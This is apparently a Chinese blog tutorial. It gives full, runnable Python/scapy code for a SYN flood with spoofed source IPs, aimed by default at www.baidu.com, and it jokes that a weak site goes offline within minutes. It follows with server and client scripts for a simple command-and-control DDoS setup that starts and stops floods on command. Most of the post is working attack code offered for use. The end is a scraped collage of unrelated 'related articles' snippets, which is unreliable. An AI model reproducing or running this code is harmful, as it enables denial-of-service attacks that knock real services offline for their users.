背景:

网络传输层中,一般采用TCP协议,如果要建立连接,客户端会先发送syn包请求,服务器接收,接收后,再传递给客户端ack,syn包,这个时候,客户端再次回应,传回ack包。可是问题就出在,如果我是客户端,只发送一个请求syn包,然后第三次握手的时候,不再往回传ack包,此时服务端是不是就要等待?

在等待的时间里,我是不是可以伪造更多的请求,从而不断消耗服务器的资源,然后直到最后服务器停止服务为止?

上述这种攻击就是syn泛洪攻击。

python中scapy库来实现syn泛洪攻击:

python3安装方式:
sudo pip3 install scapy-python3

注意:scapy库的代码必须运行在root权限下

基本用法:

from scapy.all import *
#  定义一个syn包,其中的格式如下:IP()/TCP(),IP中的src为自己的伪造的ip,dst为目标ip,
#  TCP中的dport为目标端口号,网络中普遍为80,flages=‘S’这里的s代表设置的是syn包
pkt = IP(src="202.121.0.12",dst="192.168.0.100")/TCP(dport=80,flags="S")
#  发送包,直接用send
send(pkt)

具体来一个例子:

#!/usr/bin/env python3
import random
import socket
import time
from scapy.all import *#  定义syn洪流函数,tgt为目标ip,dPort为目标端口
def synFlood(tgt,dPort):#  先任意伪造4个ip地址srcList = ['11.1.1.2','22.1.1.102','33.1.1.2','125.130.5.199']#  选择任意一个端口号for sPort in range(1024, 65535):index = random.randrange(4)#  类似上面那个代码构造IP/TCP包,然后sendipLayer = IP(src=srcList[index], dst=tgt)tcpLayer = TCP(sport=sPort, dport=dPort,flags='S')packet = ipLayer/tcpLayersend(packet)domain = "www.baidu.com" #定义你想攻击的域名,不建议是百度哈,别怪我没提醒
tgt = socket.gethostbyname(domain)  #利用socket的方法获取域名的ip地址,即dns解析
print(tgt) # 可以打印出来看一下
dPort = 80 # 网络传输常用端口号
synFlood(tgt,dPort) #调用syn洪流函数,然后发送syn包
#  发送完后就可以去看看这个服务器的响应速度了。一般是持续发送几分钟,这个网站就访问不了了
#  前提是这个网站很渣。。哈哈

DDoS攻击

而DDoS攻击是啥?其实就类似上面这个syn洪流,只是DDoS采用的是多个客户端在服务器的命令下,一起像一个网站攻击,类似这样

其实现原理跟syn是一样的,只是他采用了服务端可以直接控制客户端然后发出请求。

具体的服务端与客户端代码我就直接帖上了

服务端:

import socket
import argparse
import threadingsocketList = []#  发送命令到所有的客户机上
def sendCmd(cmd):print('Send command....')for sock in socketList:sock.send(cmd.encode())#  等待连接,将建立好的连接加入到socketList列表中
def waitConnect(s):while True:sock, addr = s.accept()if sock not in socketList:socketList.append(sock)def main():#  创建tcp服务端s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1)  #设置端口重用s.bind(('0.0.0.0',58868))  s.listen(1024)#  线程创建等待连接请求t = threading.Thread(target=waitConnect, args=(s,))t.start()print("Wait at least a client connection!")while not len(socketList):  # 没有连接则一直等待passprint("It has been a client connection")while True:print('='*50)#  命令格式print('The command format:"#-H xxx.xxx.xxx.xxx -p xxxx -c start"')#  等待输入命令cmd_str = input('please input cmd:')if len(cmd_str):if cmd_str[0] == '#':sendCmd(cmd_str)if __name__ == '__main__':main()

客户端:

import argparse
import socket
import sys
import os
from multiprocessing import Process
import random
from scapy.all import *curProcess = None#  SYN泛洪攻击,就是最开始的那串代码,直接copy过来就好
def synFlood(tgt, dPort):print("="*100)print("The syn flood is running")print('='*100)srcList = ['11.1.1.2', '10.1.1.102', '33.1.1.2','125.130.5.199']#  任意一个端口号for sPort in range(1024, 65535):index = random.randrange(4)ipLayer = IP(src=srcList[index], dst=tgt)tcpLayer = TCP(sport=sPort, dport=dPort, flags='S')packet = ipLayer / tcpLayersend(packet)def cmdHandle(sock, parser):global curProcesswhile True:data = sock.recv(1024).decode()if len(data) == 0:print('The data is empty')returnif data[0] == '#':try:# 解析命令options = parser.parse_args(data[1:].split())m_host = options.hostm_port = options.portm_cmd = options.cmd# print(m_cmd)#  DDOS启动命令if m_cmd.lower() == 'start':if curProcess !=None and curProcess.is_alive():curProcess.terminate()curProcess = Noneos.system('clear')print('The synFlood is start')p = Process(target=synFlood, args = (m_host, m_port))p.start()curProcess = pelif m_cmd.lower() == 'stop':if curProcess.is_alive():curProcess.terminate()os.system('clear')except:print("Failed to perform the command")def main():#  添加需要解析的命令,就是服务器发送过来的命令#  命令格式:"#-H xxx.xxx.xxx.xxx -p xxxx -c start"p = argparse.ArgumentParser()p.add_argument('-H', dest='host', type=str)p.add_argument('-p', dest='port',type=int)p.add_argument('-c', dest='cmd', type=str)print("*" * 40)try:#  创建socket对象s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)# 这里因为是在本地,所以连接的ip地址为本地ip地址127.0.0.1,端口为服务器端口       s.connect(('127.0.0.1',58868))  print('To connected server was success')print("=" * 40)#  处理命令cmdHandle(s, p)except Exception as e:print('The network connected failed')print('please restart the script')sys.exit(0)if __name__ == '__main__':main()

然后到这里就可以在本地先开启服务端,再开启客户端来实现了哈

记得用sudo哈

当看到客户端是这样的时候

哈哈,完成了。

不过,其实质是跟syn洪流一样哈。只是多了一个包装而已。

END

Python-DDoS攻击相关推荐

  1. python ddos攻击脚本_python版本DDOS攻击脚本

    今天为了休息下,换换脑子,于是就找到了我之前收藏的一篇python的文章,是关于ddos攻击的一个脚本,正好今天有空,就实践下了. 附上源码pyDdos.py:#!/usr/bin/env pytho ...

  2. python ddos攻击_DDoS攻击工具

    DDoS攻击工具 综合性工具 综合性工具除了可以进行DDoS攻击外,还可用于其他的用途,例如:端口扫描.安全审计.防火墙等.实际上,大部分综合性工具开发的原始目的并不是用于DDoS,而是"网 ...

  3. python ddos攻击_使用Torshammer执行DDoS攻击

    用的方法很少,声称DDoS或任何类型的网络丢失都是成功的.让我们看一下执行DDoS攻击的方法之一.这种攻击非常强大,并且需要您应该知道如何在Kali Linux操作系统上操作命令的唯一技能. 首先,如 ...

  4. python ddos 检测系统_python 检查是否存在ddos攻击

    !/usr/bin/python coding=utf-8 import dpkt import socket import optparse 默认设置检测不正常数据包的数量的阈值为1000 THRE ...

  5. python机器学习实现对基于TCP协议的DDOS攻击的流量监测器

    文章目录 一.Wireshark抓包工具使用以及数据包分析 1.数据包筛选 2.数据包搜索 3.数据包分析 二.使用python库进行流量特征提取 1.下载scapy库 2.scapy库的使用 3.c ...

  6. python模拟ddos攻击_python版DDOS攻击脚本

    本文实例为大家分享了python版DDOS攻击脚本,供大家参考,具体内容如下 于是就找到了我之前收藏的一篇python的文章,是关于ddos攻击的一个脚本,正好今天有空,就实践下了. 附上源码pyDd ...

  7. python发起ddos攻击_公司技术总监又教我个新技能, 用Python实现DDOS攻击! 分享给大家...

    总监仿佛一个无底洞一样,就好像没他不会的技能一样! DDOS攻击的就不再赘述,Server端要控制client,所以要使用argparse,我们先规定好命令格式:#-H XXX.XXX.XXX.XXX ...

  8. OSChina 周二乱弹 —— 这简直是对佛祖的DDoS攻击啊

    2019独角兽企业重金招聘Python工程师标准>>> Osc乱弹歌单(2018)请戳(这里) [今日歌曲] @莱布妮子 :分享Dia Frampton的单曲<Walk Awa ...

  9. 反射型 DDoS 攻击的原理和防范措施

    随着僵尸网络的兴起,同时由于攻击方法简单.影响较大.难以追查等特点,分布式拒绝服务攻击(DDoS,Distributed Denial of Service)得到快速壮大和日益泛滥. 成千上万主机组成 ...

  10. nginx实现防止ddos攻击

    2019独角兽企业重金招聘Python工程师标准>>> 防止DDOS攻击 只需要在server上面加上:limit_req_zone $binary_remote_addr zone ...

最新文章

  1. 电磁场第二章公式总结
  2. 补第一阶段冲刺站立会议1(应发表日期5月13日)
  3. 实验:sigsuspend(),sigprocmask()
  4. CentOS安装etcd和flannel实现Docker跨物理机通信
  5. 银行离开IBM必死?国货10年内无法接盘
  6. php post请求超时,php用curl提交post数据,本地测试服务器OK,线上超时,需要如何排除问题?...
  7. zeal刷新不出来_热血传奇:计算怪物刷新时间,升级速度立马不同,老玩家笑出了声。...
  8. UVa 10082 WERTYU
  9. plc vb c语言编程,【实例】VB实现plc与上位机通讯应用程序
  10. Typescript入门教程(B站黑马程序员)
  11. ARM指令集【 PUSH \POP】【跳转B\BL\BX\BLX \BXJ】【数据操作LDR\LDRB\LDRH\LDM\STR\STRB\STRH\STM】【移位LSL/LSR/ASL/ASR】
  12. k8s中亲和性与反亲和性
  13. 思维模型 黄金圈法则
  14. 细说Java中的字符和字符串(一)
  15. 12小时制转24小时制
  16. Python基础 | Miniconda的安装
  17. Java单例模式详解--七种单例模式实现+单例安全+实际应用场景
  18. 二叉排序树的特点以及实现代码
  19. lua的userdata的生存周期
  20. “千年虫问题”、“2038年问题”、什么是闰年

热门文章

  1. CSS语法和CSS优先级
  2. Magento: 添加first name 和 last name到newsletter Add additional fields to your newsl
  3. 从零开始构建HTML 5 Web页面
  4. Ubuntu输入密码登陆后又跳回到登录界面
  5. php json_encode 替代方法 (亦可显示中文)
  6. Joomla!程序中加载JS和CSS的方法
  7. MySQL5.7更改密码时出现ERROR 1054
  8. 【转载】vim常用命令总结
  9. Leetcode算法题(C语言)4--旋转数组
  10. 【今日CV 计算机视觉论文速览】Wed, 27 Mar 2019